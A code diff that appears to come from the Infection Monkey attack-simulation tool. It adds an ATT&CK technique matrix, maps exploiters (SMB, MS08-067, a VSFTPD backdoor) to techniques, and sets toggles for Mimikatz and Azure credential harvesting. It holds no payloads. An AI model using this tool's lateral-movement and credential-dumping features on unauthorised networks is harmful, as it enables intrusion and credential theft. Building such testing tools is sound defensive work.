"title": "T1210 Exploitation of Remote services",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Exploitation of a software vulnerability occurs when an adversary "
|
||||
"takes advantage of a programming error in a program, service, or within the "
|
||||
"operating system software or kernel itself to execute adversary-controlled code."
|
||||
},
|
||||
"T1075": {
|
||||
"title": "T1075 Pass the hash",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Pass the hash (PtH) is a method of authenticating as a user without "
|
||||
"having access to the user's cleartext password."
|
||||
}
|
||||
}
|
||||
},
|
||||
"credential_access": {
|
||||
"title": "Credential access",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1110": {
|
||||
"title": "T1110 Brute force",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Adversaries may use brute force techniques to attempt access to accounts "
|
||||
"when passwords are unknown or when password hashes are obtained.",
|
||||
"depends_on": ["T1210"]
|
||||
},
|
||||
"T1003": {
|
||||
"title": "T1003 Credential dumping",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": False,
|
||||
"description": "Mapped with T1078 Valid Accounts because both techniques require"
|
||||
" same credential harvesting modules. "
|
||||
"Credential dumping is the process of obtaining account login and password "
|
||||
"information, normally in the form of a hash or a clear text password, "
|
||||
"from the operating system and software.",
|
||||
"depends_on": ["T1078"]
|
||||
}
|
||||
}
|
||||
},
|
||||
"defence_evasion": {
|
||||
"title": "Defence evasion",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"T1197": {
|
||||
"title": "T1197 Bits jobs",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": True,
|
||||
"description": "Adversaries may abuse BITS to download, execute, "
|
||||
"and even clean up after running malicious code."
|
||||
}
|
||||
}
|
||||
},
|
||||
}
|
||||
}
|
|
@ -9,11 +9,16 @@ __author__ = "VakarisZ"
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def set_results(technique, data):
|
||||
"""
|
||||
Adds ATT&CK technique results(telemetry) to the database
|
||||
:param technique: technique ID string e.g. T1110
|
||||
:param data: Data, relevant to the technique
|
||||
"""
|
||||
data.update({'technique': technique})
|
||||
mongo.db.attack_results.insert(data)
|
||||
class AttackTelemService(object):
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def set_results(technique, data):
|
||||
"""
|
||||
Adds ATT&CK technique results(telemetry) to the database
|
||||
:param technique: technique ID string e.g. T1110
|
||||
:param data: Data, relevant to the technique
|
||||
"""
|
||||
data.update({'technique': technique})
|
||||
mongo.db.attack_results.insert(data)
|
||||
|
|
|
@ -13,42 +13,48 @@ SCHEMA = {
|
|||
"enum": [
|
||||
"SmbExploiter"
|
||||
],
|
||||
"title": "SMB Exploiter"
|
||||
"title": "SMB Exploiter",
|
||||
"attack_techniques": ["T1110", "T1075"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WmiExploiter"
|
||||
],
|
||||
"title": "WMI Exploiter"
|
||||
"title": "WMI Exploiter",
|
||||
"attack_techniques": ["T1110"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"MSSQLExploiter"
|
||||
],
|
||||
"title": "MSSQL Exploiter"
|
||||
"title": "MSSQL Exploiter",
|
||||
"attack_techniques": ["T1110"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"RdpExploiter"
|
||||
],
|
||||
"title": "RDP Exploiter (UNSAFE)"
|
||||
"title": "RDP Exploiter (UNSAFE)",
|
||||
"attack_techniques": []
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"Ms08_067_Exploiter"
|
||||
],
|
||||
"title": "MS08-067 Exploiter (UNSAFE)"
|
||||
"title": "MS08-067 Exploiter (UNSAFE)",
|
||||
"attack_techniques": []
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHExploiter"
|
||||
],
|
||||
"title": "SSH Exploiter"
|
||||
"title": "SSH Exploiter",
|
||||
"attack_techniques": ["T1110"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
|
@ -91,6 +97,13 @@ SCHEMA = {
|
|||
"HadoopExploiter"
|
||||
],
|
||||
"title": "Hadoop/Yarn Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"VSFTPDExploiter"
|
||||
],
|
||||
"title": "VSFTPD Exploiter"
|
||||
}
|
||||
]
|
||||
},
|
||||
|
@ -104,6 +117,7 @@ SCHEMA = {
|
|||
"BackdoorUser"
|
||||
],
|
||||
"title": "Back door user",
|
||||
"attack_techniques": []
|
||||
},
|
||||
],
|
||||
},
|
||||
|
@ -116,14 +130,16 @@ SCHEMA = {
|
|||
"enum": [
|
||||
"SMBFinger"
|
||||
],
|
||||
"title": "SMBFinger"
|
||||
"title": "SMBFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHFinger"
|
||||
],
|
||||
"title": "SSHFinger"
|
||||
"title": "SSHFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
|
@ -144,14 +160,16 @@ SCHEMA = {
|
|||
"enum": [
|
||||
"MySQLFinger"
|
||||
],
|
||||
"title": "MySQLFinger"
|
||||
"title": "MySQLFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"MSSQLFinger"
|
||||
],
|
||||
"title": "MSSQLFinger"
|
||||
"title": "MSSQLFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
},
|
||||
|
||||
{
|
||||
|
@ -159,16 +177,30 @@ SCHEMA = {
|
|||
"enum": [
|
||||
"ElasticFinger"
|
||||
],
|
||||
"title": "ElasticFinger"
|
||||
"title": "ElasticFinger",
|
||||
"attack_techniques": ["T1210"]
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"properties": {
|
||||
"basic": {
|
||||
"title": "Basic - Credentials",
|
||||
"title": "Basic - Exploits",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"should_exploit": {
|
||||
"title": "Exploit network machines",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"attack_techniques": ["T1210"],
|
||||
"description": "Determines if monkey should try to safely exploit machines on the network"
|
||||
}
|
||||
}
|
||||
},
|
||||
"credentials": {
|
||||
"title": "Credentials",
|
||||
"type": "object",
|
||||
|
@ -250,8 +282,9 @@ SCHEMA = {
|
|||
"default": [
|
||||
],
|
||||
"description":
|
||||
"List of IPs/subnets the monkey should scan."
|
||||
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
||||
"List of IPs/subnets/hosts the monkey should scan."
|
||||
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\","
|
||||
" \"printer.example\""
|
||||
}
|
||||
}
|
||||
},
|
||||
|
@ -381,6 +414,7 @@ SCHEMA = {
|
|||
"title": "Harvest Azure Credentials",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"attack_techniques": ["T1003", "T1078"],
|
||||
"description":
|
||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||
},
|
||||
|
@ -394,6 +428,7 @@ SCHEMA = {
|
|||
"title": "Should use Mimikatz",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"attack_techniques": ["T1003", "T1078"],
|
||||
"description": "Determines whether to use Mimikatz"
|
||||
},
|
||||
}
|
||||
|
@ -557,14 +592,14 @@ SCHEMA = {
|
|||
"dropper_target_path_win_32": {
|
||||
"title": "Dropper target path on Windows (32bit)",
|
||||
"type": "string",
|
||||
"default": "C:\\Windows\\monkey32.exe",
|
||||
"default": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||
"(32bit)"
|
||||
},
|
||||
"dropper_target_path_win_64": {
|
||||
"title": "Dropper target path on Windows (64bit)",
|
||||
"type": "string",
|
||||
"default": "C:\\Windows\\monkey64.exe",
|
||||
"default": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||
"(64 bit)"
|
||||
},
|
||||
|
@ -721,7 +756,8 @@ SCHEMA = {
|
|||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter"
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter"
|
||||
],
|
||||
"description":
|
||||
"Determines which exploits to use. " + WARNING_SIGN
|
||||
|
|
|
@ -0,0 +1,31 @@
|
|||
import logging
|
||||
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
from monkey_island.cc.services.post_breach_files import remove_PBA_files
|
||||
from flask import jsonify
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Database(object):
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def reset_db():
|
||||
remove_PBA_files()
|
||||
# We can't drop system collections.
|
||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||
ConfigService.init_config()
|
||||
AttackConfig.reset_config()
|
||||
logger.info('DB was reset')
|
||||
return jsonify(status='OK')
|
||||
|
||||
@staticmethod
|
||||
def init_db():
|
||||
if not mongo.db.collection_names():
|
||||
Database.reset_db()
|
||||
|
|
@ -41,7 +41,8 @@ class ReportService:
|
|||
'Struts2Exploiter': 'Struts2 Exploiter',
|
||||
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
||||
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
||||
'MSSQLExploiter': 'MSSQL Exploiter'
|
||||
'MSSQLExploiter': 'MSSQL Exploiter',
|
||||
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
|
||||
}
|
||||
|
||||
class ISSUES_DICT(Enum):
|
||||
|
@ -57,7 +58,8 @@ class ReportService:
|
|||
WEBLOGIC = 9
|
||||
HADOOP = 10
|
||||
PTH_CRIT_SERVICES_ACCESS = 11,
|
||||
MSSQL = 12
|
||||
MSSQL = 12,
|
||||
VSFTPD = 13
|
||||
|
||||
class WARNINGS_DICT(Enum):
|
||||
CROSS_SEGMENT = 0
|
||||
|
@ -254,6 +256,7 @@ class ReportService:
|
|||
else:
|
||||
processed_exploit['type'] = 'hash'
|
||||
return processed_exploit
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_smb_exploit(exploit):
|
||||
|
@ -289,6 +292,12 @@ class ReportService:
|
|||
processed_exploit['type'] = 'rdp'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_vsftpd_exploit(exploit):
|
||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||
processed_exploit['type'] = 'vsftp'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_sambacry_exploit(exploit):
|
||||
processed_exploit = ReportService.process_general_creds_exploit(exploit)
|
||||
|
@ -355,7 +364,8 @@ class ReportService:
|
|||
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
||||
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
||||
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
||||
'MSSQLExploiter': ReportService.process_mssql_exploit
|
||||
'MSSQLExploiter': ReportService.process_mssql_exploit,
|
||||
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
|
||||
}
|
||||
|
||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||
|
@ -644,6 +654,8 @@ class ReportService:
|
|||
issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True
|
||||
elif issue['type'] == 'sambacry':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True
|
||||
elif issue['type'] == 'vsftp':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True
|
||||
elif issue['type'] == 'shellshock':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
|
||||
elif issue['type'] == 'conficker':
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
import logging
|
||||
|
||||
import requests
|
||||
|
||||
from monkey_island.cc.environment.environment import env
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class VersionUpdateService:
|
||||
VERSION_SERVER_URL_PREF = 'https://updates.infectionmonkey.com'
|
||||
VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + '?deployment=%s&monkey_version=%s'
|
||||
VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + '&is_download=true'
|
||||
|
||||
newer_version = None
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def get_newer_version():
|
||||
"""
|
||||
Checks for newer version if never checked before.
|
||||
:return: None if failed checking for newer version, result of '_check_new_version' otherwise
|
||||
"""
|
||||
if VersionUpdateService.newer_version is None:
|
||||
try:
|
||||
VersionUpdateService.newer_version = VersionUpdateService._check_new_version()
|
||||
except Exception:
|
||||
logger.exception('Failed updating version number')
|
||||
|
||||
return VersionUpdateService.newer_version
|
||||
|
||||
@staticmethod
|
||||
def _check_new_version():
|
||||
"""
|
||||
Checks if newer monkey version is available
|
||||
:return: False if not, version in string format ('1.6.2') otherwise
|
||||
"""
|
||||
url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env.get_deployment(), env.get_version())
|
||||
|
||||
reply = requests.get(url, timeout=15)
|
||||
|
||||
res = reply.json().get('newer_version', None)
|
||||
|
||||
if res is False:
|
||||
return res
|
||||
|
||||
[int(x) for x in res.split('.')] # raises value error if version is invalid format
|
||||
return res
|
||||
|
||||
@staticmethod
|
||||
def get_download_link():
|
||||
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())
|
||||
|
|
@ -73,6 +73,7 @@
|
|||
"json-loader": "^0.5.7",
|
||||
"jwt-decode": "^2.2.0",
|
||||
"moment": "^2.22.2",
|
||||
"node-sass": "^4.11.0",
|
||||
"normalize.css": "^8.0.0",
|
||||
"npm": "^6.4.1",
|
||||
"prop-types": "^15.6.2",
|
||||
|
@ -92,7 +93,9 @@
|
|||
"react-router-dom": "^4.3.1",
|
||||
"react-table": "^6.8.6",
|
||||
"react-toggle": "^4.0.1",
|
||||
"react-tooltip-lite": "^1.9.1",
|
||||
"redux": "^4.0.0",
|
||||
"sass-loader": "^7.1.0",
|
||||
"sha3": "^2.0.0",
|
||||
"react-spinners": "^0.5.4",
|
||||
"@emotion/core": "^10.0.10"
|
||||
|
|
|
@ -20,6 +20,7 @@ import 'react-data-components/css/table-twbs.css';
|
|||
import 'styles/App.css';
|
||||
import 'react-toggle/style.css';
|
||||
import 'react-table/react-table.css';
|
||||
import VersionComponent from "./side-menu/VersionComponent";
|
||||
|
||||
let logoImage = require('../images/monkey-icon.svg');
|
||||
let infectionMonkeyImage = require('../images/infection-monkey.svg');
|
||||
|
@ -85,7 +86,7 @@ class AppComponent extends AuthComponent {
|
|||
infection_done: false,
|
||||
report_done: false,
|
||||
isLoggedIn: undefined
|
||||
}
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
|
@ -175,6 +176,7 @@ class AppComponent extends AuthComponent {
|
|||
<div className="license-link text-center">
|
||||
<NavLink to="/license">License</NavLink>
|
||||
</div>
|
||||
<VersionComponent/>
|
||||
</Col>
|
||||
<Col sm={9} md={10} smOffset={3} mdOffset={2} className="main">
|
||||
<Route path='/login' render={(props) => (<LoginPageComponent onStatusChange={this.updateStatus}/>)}/>
|
||||
|
|
|
@ -0,0 +1,119 @@
|
|||
import React from 'react';
|
||||
import Checkbox from '../ui-components/Checkbox'
|
||||
import Tooltip from 'react-tooltip-lite'
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import ReactTable from "react-table";
|
||||
import 'filepond/dist/filepond.min.css';
|
||||
import '../../styles/Tooltip.scss';
|
||||
import {Col} from "react-bootstrap";
|
||||
|
||||
class MatrixComponent extends AuthComponent {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {lastAction: 'none'}
|
||||
};
|
||||
|
||||
// Finds which attack type has most techniques and returns that number
|
||||
static findMaxTechniques(data){
|
||||
let maxLen = 0;
|
||||
data.forEach(function(techType) {
|
||||
if (Object.keys(techType.properties).length > maxLen){
|
||||
maxLen = Object.keys(techType.properties).length
|
||||
}
|
||||
});
|
||||
return maxLen
|
||||
};
|
||||
|
||||
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
|
||||
static parseTechniques (data, maxLen) {
|
||||
let techniques = [];
|
||||
// Create rows with attack techniques
|
||||
for (let i = 0; i < maxLen; i++) {
|
||||
let row = {};
|
||||
data.forEach(function(techType){
|
||||
let rowColumn = {};
|
||||
rowColumn.techName = techType.title;
|
||||
|
||||
if (i <= Object.keys(techType.properties).length) {
|
||||
rowColumn.technique = Object.values(techType.properties)[i];
|
||||
if (rowColumn.technique){
|
||||
rowColumn.technique.name = Object.keys(techType.properties)[i]
|
||||
}
|
||||
} else {
|
||||
rowColumn.technique = null
|
||||
}
|
||||
row[rowColumn.techName] = rowColumn
|
||||
});
|
||||
techniques.push(row)
|
||||
}
|
||||
return techniques;
|
||||
};
|
||||
|
||||
getColumns(matrixData) {
|
||||
return Object.keys(matrixData[0]).map((key)=>{
|
||||
return {
|
||||
Header: key,
|
||||
id: key,
|
||||
accessor: x => this.renderTechnique(x[key].technique),
|
||||
style: { 'whiteSpace': 'unset' }
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
renderTechnique(technique) {
|
||||
if (technique == null){
|
||||
return (<div />)
|
||||
} else {
|
||||
return (<Tooltip content={technique.description} direction="down">
|
||||
<Checkbox checked={technique.value}
|
||||
necessary={technique.necessary}
|
||||
name={technique.name}
|
||||
changeHandler={this.props.change}>
|
||||
{technique.title}
|
||||
</Checkbox>
|
||||
</Tooltip>)
|
||||
}
|
||||
};
|
||||
|
||||
getTableData = (config) => {
|
||||
let configCopy = JSON.parse(JSON.stringify(config));
|
||||
let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy));
|
||||
let matrixTableData = MatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques);
|
||||
let columns = this.getColumns(matrixTableData);
|
||||
return {'columns': columns, 'matrixTableData': matrixTableData, 'maxTechniques': maxTechniques}
|
||||
};
|
||||
|
||||
renderLegend = () => {
|
||||
return (
|
||||
<div id="header" className="row justify-content-between attack-legend">
|
||||
<Col xs={4}>
|
||||
<i className="fa fa-circle-thin icon-unchecked"></i>
|
||||
<span> - Dissabled</span>
|
||||
</Col>
|
||||
<Col xs={4}>
|
||||
<i className="fa fa-circle icon-checked"></i>
|
||||
<span> - Enabled</span>
|
||||
</Col>
|
||||
<Col xs={4}>
|
||||
<i className="fa fa-circle icon-mandatory"></i>
|
||||
<span> - Mandatory</span>
|
||||
</Col>
|
||||
</div>)
|
||||
};
|
||||
|
||||
render() {
|
||||
let tableData = this.getTableData(this.props.configuration);
|
||||
return (
|
||||
<div>
|
||||
{this.renderLegend()}
|
||||
<div className={"attack-matrix"}>
|
||||
<ReactTable columns={tableData['columns']}
|
||||
data={tableData['matrixTableData']}
|
||||
showPagination={false}
|
||||
defaultPageSize={tableData['maxTechniques']} />
|
||||
</div>
|
||||
</div>);
|
||||
}
|
||||
}
|
||||
|
||||
export default MatrixComponent;
|
|
@ -1,84 +1,137 @@
|
|||
import React from 'react';
|
||||
import Form from 'react-jsonschema-form';
|
||||
import {Col, Nav, NavItem} from 'react-bootstrap';
|
||||
import {Col, Modal, Nav, NavItem} from 'react-bootstrap';
|
||||
import fileDownload from 'js-file-download';
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import { FilePond } from 'react-filepond';
|
||||
import 'filepond/dist/filepond.min.css';
|
||||
import MatrixComponent from "../attack/MatrixComponent";
|
||||
|
||||
const ATTACK_URL = '/api/attack';
|
||||
const CONFIG_URL = '/api/configuration/island';
|
||||
|
||||
class ConfigurePageComponent extends AuthComponent {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.PBAwindowsPond = null;
|
||||
this.PBAlinuxPond = null;
|
||||
this.currentSection = 'basic';
|
||||
this.currentSection = 'attack';
|
||||
this.currentFormData = {};
|
||||
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
||||
this.uiSchema = {
|
||||
behaviour: {
|
||||
custom_PBA_linux_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_linux_file: {
|
||||
"ui:widget": this.PBAlinux
|
||||
},
|
||||
custom_PBA_windows_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_file: {
|
||||
"ui:widget": this.PBAwindows
|
||||
},
|
||||
PBA_linux_filename: {
|
||||
classNames: "linux-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_filename: {
|
||||
classNames: "windows-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
}
|
||||
}
|
||||
};
|
||||
this.initialConfig = {};
|
||||
this.initialAttackConfig = {};
|
||||
this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
||||
this.uiSchemas = ConfigurePageComponent.getUiSchemas();
|
||||
// set schema from server
|
||||
this.state = {
|
||||
schema: {},
|
||||
configuration: {},
|
||||
attackConfig: {},
|
||||
lastAction: 'none',
|
||||
sections: [],
|
||||
selectedSection: 'basic',
|
||||
selectedSection: 'attack',
|
||||
allMonkeysAreDead: true,
|
||||
PBAwinFile: [],
|
||||
PBAlinuxFile: []
|
||||
PBAlinuxFile: [],
|
||||
showAttackAlert: false
|
||||
};
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
this.authFetch('/api/configuration/island')
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
static getUiSchemas(){
|
||||
return ({
|
||||
basic: {"ui:order": ["general", "credentials"]},
|
||||
basic_network: {},
|
||||
monkey: {
|
||||
behaviour: {
|
||||
custom_PBA_linux_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_linux_file: {
|
||||
"ui:widget": this.PBAlinux
|
||||
},
|
||||
custom_PBA_windows_cmd: {
|
||||
"ui:widget": "textarea",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_file: {
|
||||
"ui:widget": this.PBAwindows
|
||||
},
|
||||
PBA_linux_filename: {
|
||||
classNames: "linux-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
},
|
||||
PBA_windows_filename: {
|
||||
classNames: "windows-pba-file-info",
|
||||
"ui:emptyValue": ""
|
||||
}
|
||||
}
|
||||
},
|
||||
cnc: {},
|
||||
network: {},
|
||||
exploits: {},
|
||||
internal: {}
|
||||
})
|
||||
}
|
||||
|
||||
setInitialConfig(config) {
|
||||
// Sets a reference to know if config was changed
|
||||
this.initialConfig = JSON.parse(JSON.stringify(config));
|
||||
}
|
||||
|
||||
setInitialAttackConfig(attackConfig) {
|
||||
// Sets a reference to know if attack config was changed
|
||||
this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig));
|
||||
}
|
||||
|
||||
componentDidMount = () => {
|
||||
let urls = [CONFIG_URL, ATTACK_URL];
|
||||
Promise.all(urls.map(url => this.authFetch(url).then(res => res.json())))
|
||||
.then(data => {
|
||||
let sections = [];
|
||||
let attackConfig = data[1];
|
||||
let monkeyConfig = data[0];
|
||||
this.setInitialConfig(monkeyConfig.configuration);
|
||||
this.setInitialAttackConfig(attackConfig.configuration);
|
||||
for (let sectionKey of this.sectionsOrder) {
|
||||
sections.push({key: sectionKey, title: res.schema.properties[sectionKey].title});
|
||||
if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})}
|
||||
else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});}
|
||||
}
|
||||
this.setState({
|
||||
schema: res.schema,
|
||||
configuration: res.configuration,
|
||||
schema: monkeyConfig.schema,
|
||||
configuration: monkeyConfig.configuration,
|
||||
attackConfig: attackConfig.configuration,
|
||||
sections: sections,
|
||||
selectedSection: 'basic'
|
||||
selectedSection: 'attack'
|
||||
})
|
||||
});
|
||||
this.updateMonkeysRunning();
|
||||
}
|
||||
};
|
||||
|
||||
onSubmit = ({formData}) => {
|
||||
this.currentFormData = formData;
|
||||
this.updateConfigSection();
|
||||
this.authFetch('/api/configuration/island',
|
||||
updateConfig = () => {
|
||||
this.authFetch(CONFIG_URL)
|
||||
.then(res => res.json())
|
||||
.then(data => {
|
||||
this.setInitialConfig(data.configuration);
|
||||
this.setState({configuration: data.configuration})
|
||||
})
|
||||
};
|
||||
|
||||
onSubmit = () => {
|
||||
if (this.state.selectedSection === 'attack'){
|
||||
this.matrixSubmit()
|
||||
} else {
|
||||
this.configSubmit()
|
||||
}
|
||||
};
|
||||
|
||||
matrixSubmit = () => {
|
||||
// Submit attack matrix
|
||||
this.authFetch(ATTACK_URL,
|
||||
{
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify(this.state.configuration)
|
||||
body: JSON.stringify(this.state.attackConfig)
|
||||
})
|
||||
.then(res => {
|
||||
if (!res.ok)
|
||||
|
@ -87,6 +140,18 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
}
|
||||
return res;
|
||||
})
|
||||
.then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
|
||||
.then(this.updateConfig())
|
||||
.then(this.setState({lastAction: 'saved'}))
|
||||
.catch(error => {
|
||||
this.setState({lastAction: 'invalid_configuration'});
|
||||
});
|
||||
};
|
||||
|
||||
configSubmit = () => {
|
||||
// Submit monkey configuration
|
||||
this.updateConfigSection();
|
||||
this.sendConfig()
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
this.setState({
|
||||
|
@ -94,6 +159,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
schema: res.schema,
|
||||
configuration: res.configuration
|
||||
});
|
||||
this.setInitialConfig(res.configuration);
|
||||
this.props.onStatusChange();
|
||||
}).catch(error => {
|
||||
console.log('bad configuration');
|
||||
|
@ -101,6 +167,32 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
});
|
||||
};
|
||||
|
||||
// Alters attack configuration when user toggles technique
|
||||
attackTechniqueChange = (technique, value, mapped=false) => {
|
||||
// Change value in attack configuration
|
||||
// Go trough each column in matrix, searching for technique
|
||||
Object.entries(this.state.attackConfig).forEach(techType => {
|
||||
if(techType[1].properties.hasOwnProperty(technique)){
|
||||
let tempMatrix = this.state.attackConfig;
|
||||
tempMatrix[techType[0]].properties[technique].value = value;
|
||||
this.setState({attackConfig: tempMatrix});
|
||||
|
||||
// Toggle all mapped techniques
|
||||
if (! mapped ){
|
||||
// Loop trough each column and each row
|
||||
Object.entries(this.state.attackConfig).forEach(otherType => {
|
||||
Object.entries(otherType[1].properties).forEach(otherTech => {
|
||||
// If this technique depends on a technique that was changed
|
||||
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
|
||||
this.attackTechniqueChange(otherTech[0], value, true)
|
||||
}
|
||||
})
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
onChange = ({formData}) => {
|
||||
this.currentFormData = formData;
|
||||
};
|
||||
|
@ -111,10 +203,48 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
newConfig[this.currentSection] = this.currentFormData;
|
||||
this.currentFormData = {};
|
||||
}
|
||||
this.setState({configuration: newConfig});
|
||||
this.setState({configuration: newConfig, lastAction: 'none'});
|
||||
};
|
||||
|
||||
renderAttackAlertModal = () => {
|
||||
return (<Modal show={this.state.showAttackAlert} onHide={() => {this.setState({showAttackAlert: false})}}>
|
||||
<Modal.Body>
|
||||
<h2><div className="text-center">Warning</div></h2>
|
||||
<p className = "text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
|
||||
You have unsubmitted changes. Submit them before proceeding.
|
||||
</p>
|
||||
<div className="text-center">
|
||||
<button type="button"
|
||||
className="btn btn-success btn-lg"
|
||||
style={{margin: '5px'}}
|
||||
onClick={() => {this.setState({showAttackAlert: false})}} >
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</Modal.Body>
|
||||
</Modal>)
|
||||
};
|
||||
|
||||
userChangedConfig(){
|
||||
if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){
|
||||
if(Object.keys(this.currentFormData).length === 0 ||
|
||||
JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
userChangedMatrix(){
|
||||
return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig))
|
||||
}
|
||||
|
||||
setSelectedSection = (key) => {
|
||||
if ((key === 'attack' && this.userChangedConfig()) ||
|
||||
(this.currentSection === 'attack' && this.userChangedMatrix())){
|
||||
this.setState({showAttackAlert: true});
|
||||
return;
